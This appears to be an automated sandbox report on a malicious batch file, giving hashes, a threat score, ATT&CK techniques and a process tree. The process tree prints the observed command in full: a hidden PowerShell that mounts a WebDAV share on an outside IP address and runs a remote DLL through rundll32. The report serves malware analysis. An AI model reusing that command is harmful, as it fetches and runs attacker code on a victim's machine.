053749840e6a1b182d6b0e9d612f8744662cc437250e47ec715af0a4f7669841

Analysis

max time kernel
119s
max time network
121s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
13/07/2024, 02:55

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General

Target

2614525047198718761.bat
Size

2KB
MD5

25fb343515dae618bc12f7a0ec192d40
SHA1

144dc7d8bc73ce266447c449dcbf9e7ba8a13c88
SHA256

053749840e6a1b182d6b0e9d612f8744662cc437250e47ec715af0a4f7669841
SHA512

e5817655ba2e8764030226952188a9253db149ff49691d349427075ec1ff4472be0afbc4f33a23feafc80e42d9dff0058bdf0e24412d90d256bfa058d22893bb

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2856	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2856	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2856	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2708	wordpad.exe
2708	wordpad.exe
2708	wordpad.exe
2708	wordpad.exe
2708	wordpad.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2740 wrote to memory of 2708	2740	cmd.exe	32
PID 2740 wrote to memory of 2708	2740	cmd.exe	32
PID 2740 wrote to memory of 2708	2740	cmd.exe	32
PID 2740 wrote to memory of 2856	2740	cmd.exe	33
PID 2740 wrote to memory of 2856	2740	cmd.exe	33
PID 2740 wrote to memory of 2856	2740	cmd.exe	33
PID 2856 wrote to memory of 2328	2856	powershell.exe	35
PID 2856 wrote to memory of 2328	2856	powershell.exe	35
PID 2856 wrote to memory of 2328	2856	powershell.exe	35
PID 2856 wrote to memory of 2668	2856	powershell.exe	36
PID 2856 wrote to memory of 2668	2856	powershell.exe	36
PID 2856 wrote to memory of 2668	2856	powershell.exe	36

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\2614525047198718761.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2740
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\2838.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2856
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:2328
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\2838.dll entry
    3⤵
    PID:2668

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2856-23-0x000000001B810000-0x000000001BAF2000-memory.dmp

Filesize
2.9MB

Download
memory/2856-24-0x00000000022E0000-0x00000000022E8000-memory.dmp

Filesize
32KB

Download